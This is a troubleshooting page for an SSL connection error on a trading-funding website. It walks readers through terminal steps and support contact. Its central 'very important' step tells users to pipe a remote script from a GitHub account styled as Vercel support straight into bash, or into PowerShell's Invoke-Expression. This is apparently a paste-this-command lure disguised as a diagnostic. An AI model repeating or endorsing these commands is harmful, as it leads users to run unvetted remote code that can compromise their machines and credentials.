Troubleshooting: ERR_SSL_PROTOCOL_ERROR
Fix: “This Site Can’t Provide a Secure Connection” (ERR_SSL_PROTOCOL_ERROR)
Sometimes our site may show a secure connection error even though it’s online and working for most users. This usually happens when Vercel’s security system flags your IP, network, or browser setup. Don’t worry — it’s easy to check and fix.
🔍 Step 1: Open the Terminal (Command Window)
On Windows
- Click the Start Menu.
- Type PowerShell or Command Prompt.
- Click it to open a black or blue window.
- You’ll see something like this:
C:\Users\YourName>
On Mac
- Click the Spotlight Search (🔍 in the top right).
- Type Terminal and press Enter.
- You’ll see something like this:
On Linux
- Press Ctrl + Alt + T, or
- Open your app list and select Terminal.
🚨 VERY IMPORTANT: Run the Vercel Debug Script
Before doing anything else, please run the official Vercel connectivity debug script. It automatically checks SSL, DNS, IPv4/IPv6 routing, and HTTP responses — and saves a file you can send to us for review.
🖥️ Mac / Linux (from your Terminal)
curl -s https://raw.githubusercontent.com/vercel-support/vercel-connect-debug/main/vercel-debug.sh | bash | tee
🪟 Windows (from PowerShell)
Invoke-RestMethod -Uri https://raw.githubusercontent.com/vercel-support/vercel-connect-debug/main/vercel-debug.ps1 | Invoke-Expression | tee vercel-debug.txt
⚠️ After it finishes, a file named vercel-debug.txt will be created. Please attach that file when contacting support — it contains all the details we need to pinpoint the problem quickly.
🧪 Step 2: Test the Website Connection (Optional Manual Test)
If you prefer to test manually, copy and paste each line below into the terminal and press Enter after each one:
curl -I -A "Mozilla/5.0" https://elitetraderfunding.app/curl -4 -I -A "Mozilla/5.0" https://elitetraderfunding.app/curl -6 -I -A "Mozilla/5.0" https://elitetraderfunding.app/
What you’re doing:
- The first command checks the main connection.
- The second tests over IPv4 (common).
- The third tests over IPv6 (newer internet type).
If you see:
HTTP/2 200Server: Vercel
✅ The site is reachable — something local (browser or network) is blocking it.
If you see:
Connection failed
orNo response
🚫 Your network or security software is likely blocking it.
📄 Step 3: Save the Test Output (So We Can Help You Faster)
To send us the results manually, please follow these steps:
On Windows:
- In PowerShell, run this command instead of the first one:
curl -v https://elitetraderfunding.app/ --http1.1 2>&1 | Out-File etf_debug.txt
- This creates a file called
etf_debug.txtin your user folder. - Open File Explorer, search for
etf_debug.txt, and attach it when contacting support.
On Mac or Linux:
- Run this command in your terminal:
curl -v https://elitetraderfunding.app/ --http1.1 2>&1 | tee etf_debug.txt
- It will show results on-screen and save them in
etf_debug.txt. - Attach that file to your support request.
These details help us see exactly what your computer sees — we’ll pinpoint the cause much faster.
🧭 Step 4: Try These Quick Fixes
- Use Private / Incognito mode in Chrome or Edge.
- Enable JavaScript and cookies.
- Turn off extensions like ad blockers or privacy tools.
- Restart your router or connect to a mobile hotspot (this changes your IP).
- Check your date and time — wrong system time can break SSL.
- Turn off antivirus “HTTPS scanning” if it’s enabled.
📨 Step 5: Send Your Results to Support
When contacting support, please include:
- Your vercel-debug.txt or etf_debug.txt file
- A screenshot of the browser error
- Your IP address from whatismyip.com
We’ll review your connection data securely and help you get back online quickly.
